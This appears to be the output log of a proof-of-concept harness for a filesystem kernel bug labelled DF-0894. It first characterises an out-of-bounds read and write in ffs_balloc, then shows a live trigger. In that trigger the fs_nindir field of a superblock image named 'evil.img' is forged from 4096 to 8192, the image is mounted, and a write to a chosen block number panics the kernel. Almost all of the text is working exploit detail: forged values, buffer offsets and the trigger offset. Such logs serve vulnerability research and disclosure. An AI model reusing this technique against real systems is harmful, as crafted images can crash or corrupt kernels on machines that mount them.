================= DF-0894 primitive characterization (harness) =================
=== DF-0894 primitive characterization ===
fs_bsize (indirect-block buffer size) = 16384 bytes
valid bap[] entries                   = 4096  (indices 0..4095)
forged fs_nindir -> MNINDIR(ump)      = 8192
target lbn                            = 8203

ufs_getlbns result:
  numlevels          = 2
  indirs[in_off]     = 8191   <- indexes bap[] in ffs_balloc.c:297

bap[8191] = bp->b_data + 32764
buffer ends at bp->b_data + 16384
>>> OOB READ at ffs_balloc.c:297: 16380 bytes past the 16384-byte buffer (+4 for the ufs_daddr_t access)
>>> OOB WRITE at ffs_balloc.c:333/378/479 (when nb==0): writes a disk block number 16380 bytes past the buffer

RESULT: OOB index confirmed. bap[8191] reads/writes 16380 bytes past the 16384-byte indirect-block buffer.
        Heap/page corruption into adjacent kernel memory.

================= DF-0894 live kernel trigger =================
--- newfs (default: fs_bsize=16384, fs_nindir=4096) ---
/dev/vn0: media size  16.00MB
Warning: Block size restricts cylinders per group to 106.
/dev/vn0:	32768 sectors in 8 cylinders of 1 tracks, 4096 sectors
	16.0MB in 1 cyl groups (106 c/g, 212.00MB/g, 2048 i/g)
super-block backups (for fsck -b #) at:
--- patching fs_nindir: 4096 -> 8192 ---
=== DF-0894 superblock patcher ===
image:        evil.img
fs_magic:     0x11954 (expect 0x011954)
fs_bsize:     16384  -> indirect-block buffer = 16384 bytes
fs_fsize:     2048
fs_inopb:     128
fs_nindir:    4096 (CORRECT = fs_bsize/sizeof(ufs_daddr_t) = 4096)
entries/buf:  4096 (= fs_bsize/4)

--- patching fs_nindir: 4096 -> 8192 ---
forged MNINDIR(ump)   = 8192
valid bap[] indices    = 0..4095  (4096 entries)
forged in_off range    = 0..8191
max OOB index          = bap[8191] = bp->b_data + 32764
max OOB past buffer    = 16384 bytes (~16 KB)
first OOB index        = bap[4096] = bp->b_data + 16384  (buffer is 16384)

OK: fs_nindir patched in evil.img
--- mounting evil.img RW ---
MOUNT_RC=0
--- priming: lbn=12 (offset=196608, in_off=0, in-bounds) ---
PRIME_RC=0
--- TRIGGER: lbn=8203 (offset=134283264, in_off=8191, OOB ~16KB) ---
Fatal trap 12: page fault while in kernel mode
cpuid = 4; lapic id = 4
fault virtual address	= 0xfffff8006287dfe0
fault code		= supervisor read data, page not present
instruction pointer	= 0x8:0xffffffff809062e7
stack pointer	        = 0x10:0xfffff8011817f408
frame pointer	        = 0x10:0xfffff8011817f528
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 887
current thread          = pri 6 
kernel: type 12 trap, code=0

CPU4 stopping CPUs: 0x0000002f
 stopped
Stopped at      ffs_balloc+0x5e7:       movl    (%rbx,%rax,4),%eax
db>